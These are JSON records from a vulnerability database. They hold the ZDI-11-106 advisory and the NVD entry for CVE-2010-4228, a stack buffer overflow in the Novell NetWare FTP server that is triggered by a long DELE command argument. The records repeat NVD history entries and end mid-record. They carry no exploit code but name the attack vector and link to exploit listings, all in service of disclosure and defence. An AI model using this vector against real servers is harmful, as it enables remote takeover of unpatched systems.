{"id": "SECURITYVULNS:DOC:25980", "bulletinFamily": "software", "title": "ZDI-11-106: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "description": "ZDI-11-106: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability\r\n\r\nhttp://www.zerodayinitiative.com/advisories/ZDI-11-106\r\n\r\nMarch 18, 2011\r\n\r\n-- CVE ID:\r\nCVE-2010-4228\r\n\r\n-- CVSS:\r\n9, (AV:N/AC:L/Au:S/C:C/I:C/A:C)\r\n\r\n-- Affected Vendors:\r\nNovell\r\n\r\n-- Affected Products:\r\nNovell Netware\r\n\r\n-- TippingPoint(TM) IPS Customer Protection:\r\nTippingPoint IPS customers have been protected against this\r\nvulnerability by Digital Vaccine protection filter ID 10659. \r\nFor further product information on the TippingPoint IPS, visit:\r\n\r\n http://www.tippingpoint.com\r\n\r\n-- Vulnerability Details:\r\nThis vulnerability allows remote attackers to execute arbitrary code on\r\nvulnerable installations of Novell Netware. Authentication is required\r\nto exploit this vulnerability.\r\n\r\nThe flaw exists within NWFTPD.NLM. When handling the argument provided\r\nto the DELE command the application copies user supplied data to a fixed\r\nlength stack buffer. A remote attacker can exploit this vulnerability to\r\nexecute arbitrary code under the context of the super user.\r\n\r\n-- Vendor Response:\r\nNovell has issued an update to correct this vulnerability. More\r\ndetails can be found at:\r\n\r\nhttp://download.novell.com/Download?buildid=Ax6AbxwGLTs~\r\n\r\n-- Disclosure Timeline:\r\n2010-09-22 - Vulnerability reported to vendor\r\n2011-03-18 - Coordinated public release of advisory\r\n\r\n-- Credit:\r\nThis vulnerability was discovered by:\r\n * Francis Provencher for Protek Research Lab's\r\n\r\n-- About the Zero Day Initiative (ZDI):\r\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents \r\na best-of-breed model for rewarding security researchers for responsibly\r\ndisclosing discovered vulnerabilities.\r\n\r\nResearchers interested in getting paid for their security research\r\nthrough the ZDI can find more information and sign-up at:\r\n\r\n http://www.zerodayinitiative.com\r\n\r\nThe ZDI is unique in how the acquired vulnerability information is\r\nused. TippingPoint does not re-sell the vulnerability details or any\r\nexploit code. Instead, upon notifying the affected product vendor,\r\nTippingPoint provides its customers with zero day protection through\r\nits intrusion prevention technology. Explicit details regarding the\r\nspecifics of the vulnerability are not exposed to any parties until\r\nan official vendor patch is publicly available. Furthermore, with the\r\naltruistic aim of helping to secure a broader user base, TippingPoint\r\nprovides this vulnerability information confidentially to security\r\nvendors (including competitors) who have a vulnerability protection or\r\nmitigation product.\r\n\r\nOur vulnerability disclosure policy is available online at:\r\n\r\n http://www.zerodayinitiative.com/advisories/disclosure_policy/\r\n\r\nFollow the ZDI on Twitter:\r\n\r\n http://twitter.com/thezdi", "published": "2011-03-23T00:00:00", "modified": "2011-03-23T00:00:00", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:25980", "reporter": "Securityvulns", "references": [], "cvelist": ["CVE-2010-4228"], "type": "securityvulns", "lastseen": "2018-08-31T11:10:39", "edition": 1, "viewCount": 13, "enchantments": {"score": {"value": 8.2, "vector": "NONE", "modified": "2018-08-31T11:10:39", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2010-4228"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:99574"]}, {"type": "exploitdb", "idList": ["EDB-ID:17020"]}, {"type": "zdi", "idList": ["ZDI-11-106"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10727"]}], "modified": "2018-08-31T11:10:39", "rev": 2}, "vulnersScore": 8.2}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}}

{"cve": [{"id": "CVE-2010-4228", "bulletinFamily": "NVD", "title": "CVE-2010-4228", "description": "Stack-based buffer overflow in NWFTPD.NLM before 5.10.02 in the FTP server in Novell NetWare allows remote authenticated users to execute arbitrary code or cause a denial of service (abend) via a long DELE command, a different vulnerability than CVE-2010-0625.4.", "published": "2011-03-22T17:55:00", "modified": "2017-08-17T01:33:00", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4228", "reporter": "cve@mitre.org", "references": ["http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "https://bugzilla.novell.com/show_bug.cgi?id=641249", "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170", "http://secunia.com/advisories/43824", "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "http://securityreason.com/securityalert/8149", "http://www.novell.com/support/viewContent.do?externalId=3238588", "http://www.securityfocus.com/bid/46922"], "cvelist": ["CVE-2010-4228"], "type": "cve", "lastseen": "2021-04-21T20:54:24", "history": [{"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "5.1"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.0"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.5"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:novell:netware:6.5", "cpe:/o:novell:netware:5.1", "cpe:/o:novell:netware:6.0"], "cpe23": ["cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-119"], "description": "Stack-based buffer overflow in NWFTPD.NLM before 5.10.02 in the FTP server in Novell NetWare allows remote authenticated users to execute arbitrary code or cause a denial of service (abend) via a long DELE command, a different vulnerability than CVE-2010-0625.4.", "edition": 3, "enchantments": {"dependencies": {"modified": "2020-10-03T11:57:31", "references": [{"idList": ["EDB-ID:17020"], "type": "exploitdb"}, {"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}, {"idList": ["ZDI-11-106"], "type": "zdi"}], "rev": 2}, "score": {"modified": "2020-10-03T11:57:31", "rev": 2, "value": 7.9, "vector": "NONE"}}, "extraReferences": [], "hash": "5bf296fdfc7dc563a0a9a479075255d100d8c5d305cf2d71a7647638f3f01051", "hashmap": [{"hash": "2cf13683885aa7b0ea5a410a4be7d5dc", "key": "modified"}, {"hash": "b427a84dc1f1a1ba470246a91d29dc30", "key": "description"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "bb61a0949f8c36262500079f243672e2", "key": "cwe"}, {"hash": "c90e23f7a651c6f751a3190256b70b59", "key": "references"}, {"hash": "55db25b997cf25d9ce2ed40a82f134c5", "key": "affectedSoftware"}, {"hash": "e492f1a66b7b492833f9b742cc04cfda", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "171c8520f35ebefe5084f957b9961e7e", "key": "cvss2"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "extraReferences"}, {"hash": "d7ad6b04bbebed61b4cb8c796d1671e4", "key": "title"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "62e86bb7716385cd46817416916a7bbd", "key": "cvss"}, {"hash": "679f14a78a2f916a2cda26a1e9bc2317", "key": "published"}, {"hash": "36982438fbf181f911f1eb7223d1c946", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "1654b18041768318176217bf1304490c", "key": "cpe"}, {"hash": "896281559d11b96e0e74f006be049ed7", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4228", "id": "CVE-2010-4228", "lastseen": "2020-10-03T11:57:31", "modified": "2017-08-17T01:33:00", "objectVersion": "1.3", "published": "2011-03-22T17:55:00", "references": ["http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "https://bugzilla.novell.com/show_bug.cgi?id=641249", "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170", "http://secunia.com/advisories/43824", "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "http://securityreason.com/securityalert/8149", "http://www.novell.com/support/viewContent.do?externalId=3238588", "http://www.securityfocus.com/bid/46922"], "reporter": "cve@mitre.org", "title": "CVE-2010-4228", "type": "cve", "viewCount": 2}, "differentElements": ["extraReferences"], "edition": 3, "lastseen": "2020-10-03T11:57:31"}, {"bulletin": {"affectedSoftware": [{"name": "novell netware", "operator": "eq", "version": "6.0"}, {"name": "novell netware", "operator": "eq", "version": "5.1"}, {"name": "novell netware", "operator": "eq", "version": "6.5"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:novell:netware:6.5", "cpe:/o:novell:netware:5.1", "cpe:/a:novell:netware:6.5", "cpe:/a:novell:netware:6.0", "cpe:/o:novell:netware:6.0", "cpe:/a:novell:netware:5.1"], "cpe23": ["cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*"], "cvelist": ["CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-119"], "description": "Stack-based buffer overflow in NWFTPD.NLM before 5.10.02 in the FTP server in Novell NetWare allows remote authenticated users to execute arbitrary code or cause a denial of service (abend) via a long DELE command, a different vulnerability than CVE-2010-0625.4.", "edition": 1, "enchantments": {"dependencies": {"modified": "2019-05-29T18:10:32", "references": [{"idList": ["EDB-ID:17020"], "type": "exploitdb"}, {"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}, {"idList": ["ZDI-11-106"], "type": "zdi"}], "rev": 2}, "score": {"modified": "2019-05-29T18:10:32", "rev": 2, "value": 7.9, "vector": "NONE"}}, "hash": "9abbbbe198024eef1835228cbe26940ac730ae86089f55aa86f4ff18e72c1a48", "hashmap": [{"hash": "2cf13683885aa7b0ea5a410a4be7d5dc", "key": "modified"}, {"hash": "b427a84dc1f1a1ba470246a91d29dc30", "key": "description"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "fca16f8c00ab1b494faf0c33fb8dca6f", "key": "affectedSoftware"}, {"hash": "bb61a0949f8c36262500079f243672e2", "key": "cwe"}, {"hash": "ece637708e9c95c24dbe3121a4c28830", "key": "cpe"}, {"hash": "c90e23f7a651c6f751a3190256b70b59", "key": "references"}, {"hash": "e492f1a66b7b492833f9b742cc04cfda", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "171c8520f35ebefe5084f957b9961e7e", "key": "cvss2"}, {"hash": "d7ad6b04bbebed61b4cb8c796d1671e4", "key": "title"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "62e86bb7716385cd46817416916a7bbd", "key": "cvss"}, {"hash": "679f14a78a2f916a2cda26a1e9bc2317", "key": "published"}, {"hash": "36982438fbf181f911f1eb7223d1c946", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4228", "id": "CVE-2010-4228", "lastseen": "2019-05-29T18:10:32", "modified": "2017-08-17T01:33:00", "objectVersion": "1.3", "published": "2011-03-22T17:55:00", "references": ["http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "https://bugzilla.novell.com/show_bug.cgi?id=641249", "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170", "http://secunia.com/advisories/43824", "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "http://securityreason.com/securityalert/8149", "http://www.novell.com/support/viewContent.do?externalId=3238588", "http://www.securityfocus.com/bid/46922"], "reporter": "cve@mitre.org", "title": "CVE-2010-4228", "type": "cve", "viewCount": 0}, "differentElements": ["cpe", "affectedSoftware"], "edition": 1, "lastseen": "2019-05-29T18:10:32"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "5.1"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.0"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.5"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:novell:netware:6.5", "cpe:/o:novell:netware:5.1", "cpe:/o:novell:netware:6.0"], "cpe23": ["cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*"], "cpeConfiguration": {}, "cvelist": ["CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-119"], "description": "Stack-based buffer overflow in NWFTPD.NLM before 5.10.02 in the FTP server in Novell NetWare allows remote authenticated users to execute arbitrary code or cause a denial of service (abend) via a long DELE command, a different vulnerability than CVE-2010-0625.4.", "edition": 2, "enchantments": {"dependencies": {"modified": "2020-09-21T13:56:16", "references": [{"idList": ["EDB-ID:17020"], "type": "exploitdb"}, {"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}, {"idList": ["ZDI-11-106"], "type": "zdi"}], "rev": 2}, "score": {"modified": "2020-09-21T13:56:16", "rev": 2, "value": 7.9, "vector": "NONE"}}, "hash": "fe59142fb369a90b9d8f7db07a9b93192c01cbd5e20a9495dc7cbb88dc403da4", "hashmap": [{"hash": "2cf13683885aa7b0ea5a410a4be7d5dc", "key": "modified"}, {"hash": "b427a84dc1f1a1ba470246a91d29dc30", "key": "description"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "bb61a0949f8c36262500079f243672e2", "key": "cwe"}, {"hash": "c90e23f7a651c6f751a3190256b70b59", "key": "references"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpeConfiguration"}, {"hash": "55db25b997cf25d9ce2ed40a82f134c5", "key": "affectedSoftware"}, {"hash": "e492f1a66b7b492833f9b742cc04cfda", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "171c8520f35ebefe5084f957b9961e7e", "key": "cvss2"}, {"hash": "d7ad6b04bbebed61b4cb8c796d1671e4", "key": "title"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "62e86bb7716385cd46817416916a7bbd", "key": "cvss"}, {"hash": "679f14a78a2f916a2cda26a1e9bc2317", "key": "published"}, {"hash": "36982438fbf181f911f1eb7223d1c946", "key": "href"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "1654b18041768318176217bf1304490c", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4228", "id": "CVE-2010-4228", "lastseen": "2020-09-21T13:56:16", "modified": "2017-08-17T01:33:00", "objectVersion": "1.3", "published": "2011-03-22T17:55:00", "references": ["http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "https://bugzilla.novell.com/show_bug.cgi?id=641249", "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170", "http://secunia.com/advisories/43824", "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "http://securityreason.com/securityalert/8149", "http://www.novell.com/support/viewContent.do?externalId=3238588", "http://www.securityfocus.com/bid/46922"], "reporter": "cve@mitre.org", "title": "CVE-2010-4228", "type": "cve", "viewCount": 0}, "differentElements": ["cpeConfiguration"], "edition": 2, "lastseen": "2020-09-21T13:56:16"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [{"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "5.1"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.0"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.5"}], "bulletinFamily": "NVD", "cpe": ["cpe:/o:novell:netware:6.5", "cpe:/o:novell:netware:5.1", "cpe:/o:novell:netware:6.0"], "cpe23": ["cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*"], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"cpe_match": [{"cpe23Uri": "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cwe": ["CWE-119"], "description": "Stack-based buffer overflow in NWFTPD.NLM before 5.10.02 in the FTP server in Novell NetWare allows remote authenticated users to execute arbitrary code or cause a denial of service (abend) via a long DELE command, a different vulnerability than CVE-2010-0625.4.", "edition": 4, "enchantments": {"dependencies": {"modified": "2021-02-02T05:45:04", "references": [{"idList": ["EDB-ID:17020"], "type": "exploitdb"}, {"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}, {"idList": ["ZDI-11-106"], "type": "zdi"}], "rev": 2}, "score": {"modified": "2021-02-02T05:45:04", "rev": 2, "value": 7.9, "vector": "NONE"}}, "extraReferences": [{"name": "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "refsource": "MISC", "tags": ["Exploit"], "url": "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25"}, {"name": "43824", "refsource": "SECUNIA", "tags": ["Vendor Advisory"], "url": "http://secunia.com/advisories/43824"}, {"name": "46922", "refsource": "BID", "tags": ["Exploit"], "url": "http://www.securityfocus.com/bid/46922"}, {"name": "https://bugzilla.novell.com/show_bug.cgi?id=641249", "refsource": "CONFIRM", "tags": [], "url": "https://bugzilla.novell.com/show_bug.cgi?id=641249"}, {"name": "netware-dele-bo(66170)", "refsource": "XF", "tags": [], "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170"}, {"name": "http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "refsource": "MISC", "tags": [], "url": "http://www.zerodayinitiative.com/advisories/ZDI-11-106/"}, {"name": "8149", "refsource": "SREASON", "tags": [], "url": "http://securityreason.com/securityalert/8149"}, {"name": "http://www.novell.com/support/viewContent.do?externalId=3238588", "refsource": "CONFIRM", "tags": [], "url": "http://www.novell.com/support/viewContent.do?externalId=3238588"}], "hash": "81cda831cbe1974e7e6a744ca05dcfb4a699d96f53477160a558093a101c0abc", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "2cf13683885aa7b0ea5a410a4be7d5dc", "key": "modified"}, {"hash": "b427a84dc1f1a1ba470246a91d29dc30", "key": "description"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "bb61a0949f8c36262500079f243672e2", "key": "cwe"}, {"hash": "c90e23f7a651c6f751a3190256b70b59", "key": "references"}, {"hash": "55db25b997cf25d9ce2ed40a82f134c5", "key": "affectedSoftware"}, {"hash": "e492f1a66b7b492833f9b742cc04cfda", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "171c8520f35ebefe5084f957b9961e7e", "key": "cvss2"}, {"hash": "d7ad6b04bbebed61b4cb8c796d1671e4", "key": "title"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "62e86bb7716385cd46817416916a7bbd", "key": "cvss"}, {"hash": "679f14a78a2f916a2cda26a1e9bc2317", "key": "published"}, {"hash": "36982438fbf181f911f1eb7223d1c946", "key": "href"}, {"hash": "51687756ad3d8f971a683d418b2c8e2c", "key": "extraReferences"}, {"hash": "444c2b4dda4a55437faa8bef1a141e84", "key": "reporter"}, {"hash": "1654b18041768318176217bf1304490c", "key": "cpe"}, {"hash": "896281559d11b96e0e74f006be049ed7", "key": "cpeConfiguration"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4228", "id": "CVE-2010-4228", "immutableFields": [], "lastseen": "2021-02-02T05:45:04", "modified": "2017-08-17T01:33:00", "objectVersion": "1.5", "published": "2011-03-22T17:55:00", "references": ["http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "https://bugzilla.novell.com/show_bug.cgi?id=641249", "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170", "http://secunia.com/advisories/43824", "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "http://securityreason.com/securityalert/8149", "http://www.novell.com/support/viewContent.do?externalId=3238588", "http://www.securityfocus.com/bid/46922"], "reporter": "cve@mitre.org", "title": "CVE-2010-4228", "type": "cve", "viewCount": 3}, "different_elements": ["cpeConfiguration"], "edition": 4, "lastseen": "2021-02-02T05:45:04"}], "edition": 5, "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "55db25b997cf25d9ce2ed40a82f134c5"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "1654b18041768318176217bf1304490c"}, {"key": "cpe23", "hash": "e492f1a66b7b492833f9b742cc04cfda"}, {"key": "cpeConfiguration", "hash": "b5e45f2dec0b4d3646b834b8a125f0ec"}, {"key": "cvelist", "hash": "fdd2432dacfd00f26a1bcffd96f71e6d"}, {"key": "cvss", "hash": "62e86bb7716385cd46817416916a7bbd"}, {"key": "cvss2", "hash": "171c8520f35ebefe5084f957b9961e7e"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cwe", "hash": "bb61a0949f8c36262500079f243672e2"}, {"key": "description", "hash": "b427a84dc1f1a1ba470246a91d29dc30"}, {"key": "extraReferences", "hash": "51687756ad3d8f971a683d418b2c8e2c"}, {"key": "href", "hash": "36982438fbf181f911f1eb7223d1c946"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "2cf13683885aa7b0ea5a410a4be7d5dc"}, {"key": "published", "hash": "679f14a78a2f916a2cda26a1e9bc2317"}, {"key": "references", "hash": "c90e23f7a651c6f751a3190256b70b59"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "d7ad6b04bbebed61b4cb8c796d1671e4"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "86a36469c07ee1cb951ad6a3a7711df73b0b0e69bb744e927ff8b0dc7efa3969", "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:17020"]}, {"type": "zdi", "idList": ["ZDI-11-106"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:99574"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"]}], "modified": "2021-04-21T20:54:24", "rev": 2}, "score": {"value": 7.9, "vector": "NONE", "modified": "2021-04-21T20:54:24", "rev": 2}}, "objectVersion": "1.5", "cpe": ["cpe:/o:novell:netware:6.5", "cpe:/o:novell:netware:5.1", "cpe:/o:novell:netware:6.0"], "affectedSoftware": [{"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "5.1"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.0"}, {"cpeName": "novell:netware", "name": "novell netware", "operator": "eq", "version": "6.5"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cpe23": ["cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*"], "cwe": ["CWE-119"], "scheme": null, "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:o:novell:netware:6.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:novell:netware:5.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:novell:netware:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25", "refsource": "MISC", "tags": ["Exploit"], "url": "http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25"}, {"name": "43824", "refsource": "SECUNIA", "tags": ["Vendor Advisory"], "url": "http://secunia.com/advisories/43824"}, {"name": "46922", "refsource": "BID", "tags": ["Exploit"], "url": "http://www.securityfocus.com/bid/46922"}, {"name": "https://bugzilla.novell.com/show_bug.cgi?id=641249", "refsource": "CONFIRM", "tags": [], "url": "https://bugzilla.novell.com/show_bug.cgi?id=641249"}, {"name": "netware-dele-bo(66170)", "refsource": "XF", "tags": [], "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/66170"}, {"name": "http://www.zerodayinitiative.com/advisories/ZDI-11-106/", "refsource": "MISC", "tags": [], "url": "http://www.zerodayinitiative.com/advisories/ZDI-11-106/"}, {"name": 